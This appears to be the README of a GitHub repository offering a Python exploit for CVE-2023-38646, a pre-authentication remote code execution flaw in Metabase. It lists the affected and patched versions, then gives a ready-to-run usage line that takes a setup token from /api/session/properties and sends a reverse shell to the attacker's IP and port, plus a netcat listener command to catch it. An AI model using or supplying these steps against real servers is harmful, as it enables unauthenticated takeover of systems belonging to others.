junnythemarksman/cve-2023-38646Exploit em Python para execução remota de código pré-autenticação do Metabase (CVE-2023-38646) com entrega de payload reverse shell.
Metabase open source anterior a 0.46.6.1 e Metabase Enterprise anterior a 1.46.6.1 permitem que atacantes executem comandos arbitrários no servidor, no nível de privilégio do servidor. A autenticação não é necessária para exploração. As outras versões corrigidas são 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2 e 1.43.7.2.
python3 exploit.py -u http://vulnerablewebsite.com -t "537up-70k3n-fr0m-4p1-535510n" -i 10.10.10.10 -p 9001
where:
-u: the URL for the vulnerable website
-t: the setup token taken from http://vulnerablewebsite.com/api/session/properties
-i: host IP address (your IP address)
-p: host port for connection
nc -lvnp 9001